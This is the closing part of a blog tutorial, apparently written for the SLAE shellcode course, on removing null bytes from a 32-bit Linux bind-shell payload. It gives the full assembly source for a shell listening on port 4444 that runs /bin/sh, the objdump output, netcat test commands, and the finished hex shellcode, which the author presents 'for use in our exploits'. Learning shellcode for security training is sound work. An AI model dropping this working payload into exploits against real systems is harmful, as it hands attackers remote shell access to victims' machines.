In Part 2: Building the shellcode, we created a bind shell on port 4444 which accepts connections from any host and then interacts with /bin/sh to facilitate remote code execution. Our shellcode however was littered with null bytes and would probably not be very useful if embedding in any exploit code.

In this final part, we will clean our code and remove any null bytes from our shellcode. We will also look at removing unnecessary instruction to make our shellcode smaller if possible. Lets get started.

Step one, lets take a look at our shellcode using objdump:

objdump -D bindshell -M intel
bindshell:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>: 
8048080:	31 c0                	xor    eax,eax
8048082:	31 db                	xor    ebx,ebx
8048084:	b8 66 00 00 00       	mov    eax,0x66
8048089:	bb 01 00 00 00       	mov    ebx,0x1
804808e:	31 c9                	xor    ecx,ecx
8048090:	51                   	push   ecx
8048091:	6a 01                	push   0x1
8048093:	6a 02                	push   0x2
8048095:	89 e1                	mov    ecx,esp
8048097:	cd 80                	int    0x80
8048099:	89 c2                	mov    edx,eax
804809b:	31 c0                	xor    eax,eax
804809d:	50                   	push   eax
804809e:	66 68 11 5c          	pushw  0x5c11
80480a2:	66 6a 02             	pushw  0x2
80480a5:	89 e1                	mov    ecx,esp
80480a7:	6a 10                	push   0x10
80480a9:	51                   	push   ecx
80480aa:	52                   	push   edx
80480ab:	31 c0                	xor    eax,eax
80480ad:	31 db                	xor    ebx,ebx
80480af:	b8 66 00 00 00       	mov    eax,0x66
80480b4:	bb 02 00 00 00       	mov    ebx,0x2
80480b9:	89 e1                	mov    ecx,esp
80480bb:	cd 80                	int    0x80
80480bd:	31 c0                	xor    eax,eax
80480bf:	50                   	push   eax
80480c0:	52                   	push   edx
80480c1:	89 e1                	mov    ecx,esp
80480c3:	b8 66 00 00 00       	mov    eax,0x66
80480c8:	31 db                	xor    ebx,ebx
80480ca:	bb 04 00 00 00       	mov    ebx,0x4
80480cf:	cd 80                	int    0x80
80480d1:	31 c0                	xor    eax,eax
80480d3:	50                   	push   eax
80480d4:	50                   	push   eax
80480d5:	52                   	push   edx
80480d6:	89 e1                	mov    ecx,esp
80480d8:	b8 66 00 00 00       	mov    eax,0x66
80480dd:	31 db                	xor    ebx,ebx
80480df:	bb 05 00 00 00       	mov    ebx,0x5
80480e4:	cd 80                	int    0x80
80480e6:	89 c2                	mov    edx,eax
80480e8:	31 c0                	xor    eax,eax
80480ea:	b8 3f 00 00 00       	mov    eax,0x3f
80480ef:	89 d3                	mov    ebx,edx
80480f1:	31 c9                	xor    ecx,ecx
80480f3:	cd 80                	int    0x80
80480f5:	31 c0                	xor    eax,eax
80480f7:	b8 3f 00 00 00       	mov    eax,0x3f
80480fc:	41                   	inc    ecx
80480fd:	cd 80                	int    0x80
80480ff:	31 c0                	xor    eax,eax
8048101:	b8 3f 00 00 00       	mov    eax,0x3f
8048106:	41                   	inc    ecx
8048107:	cd 80                	int    0x80
8048109:	31 c9                	xor    ecx,ecx
804810b:	51                   	push   ecx
804810c:	68 2f 2f 73 68       	push   0x68732f2f
8048111:	68 2f 62 69 6e       	push   0x6e69622f
8048116:	89 e3                	mov    ebx,esp
8048118:	89 ca                	mov    edx,ecx
804811a:	31 c0                	xor    eax,eax
804811c:	b8 0b 00 00 00       	mov    eax,0xb
8048121:	cd 80                	int    0x80

From this we can see the problematic instructions:

```objdump
8048084:	b8 66 00 00 00       	mov    eax,0x66
8048089:	bb 01 00 00 00       	mov    ebx,0x1
80480af:	b8 66 00 00 00       	mov    eax,0x66
80480b4:	bb 02 00 00 00       	mov    ebx,0x2
80480c3:	b8 66 00 00 00       	mov    eax,0x66
80480ca:	bb 04 00 00 00       	mov    ebx,0x4
80480d8:	b8 66 00 00 00       	mov    eax,0x66
80480df:	bb 05 00 00 00       	mov    ebx,0x5
80480ea:	b8 3f 00 00 00       	mov    eax,0x3f
80480f7:	b8 3f 00 00 00       	mov    eax,0x3f
8048101:	b8 3f 00 00 00       	mov    eax,0x3f
804811c:	b8 0b 00 00 00       	mov    eax,0xb

Lets break this down and tackle these one at a time. Firstly, we’ll deal with our eax syscall values:

b8 66 00 00 00       	mov    eax,0x66

We can see that upon assembling, the compiler converted 102 to it’s hex value of 0x66. Seeing as this is a single byte, maybe we can write it to just al (the smallest byte of eax) instead of the whole eax register.

Metasploit has a great tool for this that can help you quickly find the values of assembly instructions called metasm.

Note: If you do not have Metasploit installed, please follow the installation instructions provided by Rapid7 or one of many great tutorials about installing Metasploit like this one from Carlos Perez (@darkoperator).

/opt/metasploit-framework/tools/metasm_shell.rb

Test the following instructions and see which ones return results with no null bytes:

mov eax, 0x66
mov ax, 0x66
mov al, 0x66

If we look at these results, the only one that is going to work for us is mov al, 0x66.

Repeat this procedure for all the mov eax, $$$ instructions:

mov eax, 120     =>  mov al, 0x66
mov eax, 63      =>  mov al, 0x3f
mov eax, 11      =>  mov al, 0xb

Update these lines with the updated instructions into your code.

We can use the same procedure for the ebx registers by changing them to the bl register.

mov ebx, 1       =>  mov bl, 0x1
mov ebx, 2       =>  mov bl, 0x2
mov ebx, 4       =>  mov bl, 0x4
mov ebx, 5       =>  mov bl, 0x5

Take a look at your new assembly code:

global _start			

section .text
_start:

		; Start of our shellcode

		; sys_socket (creating a socket for our connection)

		xor eax, eax       ; clear the value of eax 
		xor ebx, ebx       ; clear the value of ebx 
		mov al, 0x66       ; set eax to 102 (sys_socketcall)
		mov bl, 0x1        ; set ebx to 1 (sys_socket)
		xor ecx, ecx       ; clear the value of ecx
		push ecx           ; push a null onto the stack (IPPROTO_IP = 0)
		push 1             ; push a 1 to the stack (SOCK_STREAM = 1)
		push 2             ; push a 2 to the stack (AF_INET = 2)
		mov ecx, esp       ; push the location of our arguments into ecx
		int 0x80           ; call sys_socket
		mov edx, eax       ; save the returned value to edx (socket file descriptor)

		; sys_bind (bind a port number to our socket)

		xor eax, eax       ; clear the value of eax
		push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
		push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
		push WORD 2        ; push protocol argument to the stack (AF_INET = 2)
		mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments
		push 16            ; push addrlen to stack (addrlen = 16)
		push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)
		push edx           ; push edx (sockfd value stored in edx)
		xor eax, eax       ; clear value of eax
		xor ebx, ebx       ; clear value of ebx
		mov al, 0x66       ; move value of 102 into eax (sys_sockcall = 102)
		mov bl, 0x2        ; move value of 2 into eax (sys_bind = 2)
		mov ecx, esp       ; move the arguments into ecx
		int 0x80           ; call sys_bind

		; sys_listen (listen on our created socket)

		xor eax, eax       ; clear value of eax 
		push eax           ; push backlog argument to stack (backlog = 0)
		push edx           ; push the sockfd argument to stack (sockfd stored in edx)
		mov ecx, esp       ; store the location of our arguments into ecx
		mov al, 0x66       ; sets the value 102 which is the syscall number for sys_socketcall
		xor ebx, ebx       ; clear value of ebx to 0
		mov bl, 0x4        ; sets the value 4 which is the value for "listen" in sys_socketcall
		int 0x80           ; call sys_listen

		; sys_accept (accept connections on our created port)

		xor eax, eax       ; clear value of eax
		push eax           ; push addrlen argument to stack (addrlen = 0)
		push eax           ; push addr argument to stack (addr = 0)
		push edx           ; push the sockfd argument to stack (sockfd stored in edx)
		mov ecx, esp       ; move the location of our arguments into ecx
		mov al, 0x66       ; sets the value 102 which is the syscall number for sys_socketcall
		xor ebx, ebx       ; clear value of ebx
		mov bl, 0x5        ; sets the value 5 which is the value for sys_accept
		int 0x80           ; call sys_accept
		mov edx, eax       ; save the return value from sys_accept to edx (client file descriptor)

		; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve)

		xor eax, eax       ; clear value of eax
		mov al, 0x3f       ; sets the value 63 which is the syscall number for sys_dup2
		mov ebx, edx       ; move the stored oldfd argument to ebx (stored in edx)
		xor ecx, ecx       ; set ecx to 0 for stdin
		int 0x80           ; call sys_dup2
		xor eax, eax       ; clear value of eax
		mov al, 0x3f       ; sets the value 63 which is the syscall number for sys_dup2
		inc ecx            ; increment ecx to 1 for stdout
		int 0x80           ; call sys_dup2
		xor eax, eax       ; clear value of eax
		mov al, 0x3f       ; sets the value 63 which is the syscall number for sys_dup2
		inc ecx            ; increment ecx to 2 for stderr
		int 0x80           ; call sys_dup2

		; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector)

		xor ecx, ecx       ; clear value of ecx, args argument = 0
		push ecx           ; push a null to the stack to terminate our filename
		push 0x68732f2f    ; push //sh to the stack (second part of /bin//sh)
		push 0x6e69622f    ; push /bin to the stack (first part of /bin//sh
		mov ebx, esp       ; set ebx with the location of our file name on the stack
		mov edx, ecx       ; move null value for envp argument into edx
		xor eax, eax       ; clear value of eax
		mov al, 0xb        ; sets the value 11 which is the syscall number for sys_execve
		int 0x80           ; call sys_execve

Lets look at the shellcode in objdump if we have any null bytes:

objdump -D bindshell -M intel | grep 00

Great, lets check for other known bad characters such as \x0a and \x0d

objdump -D bindshell -M intel | grep 0a
objdump -D bindshell -M intel | grep 0d

Awesome, none of those are in our shell so lets test and see if it still works.

./bindshell
netstat -antp
nc -nv 127.0.0.1 4444
id

Our clean shell is still working.

Last step is to dump this for use in our exploits:

./getshell.sh bindshell
\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89
\xc2\x31\xc0\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\x31
\xdb\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3
\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3\x05\xcd\x80\x89\xc2
\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0
\x3f\x41\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89
\xca\x31\xc0\xb0\x0b\xcd\x80

This concludes this training on shellcode writing in assembly. If you just follow the steps and do research, anything is possible. My goal when starting this post was to make shellcode less intimidating and if you feel that you have walked away after reading this with a better understanding of how shellcode interacts with the system then I am satisfied.

I hope to create more posts as I head further down this SLAE and I recommend that anyone who is in the information security field take the course and let Vivek turn you into a shellcode ninja.

Keep on sploiting,

norsec0de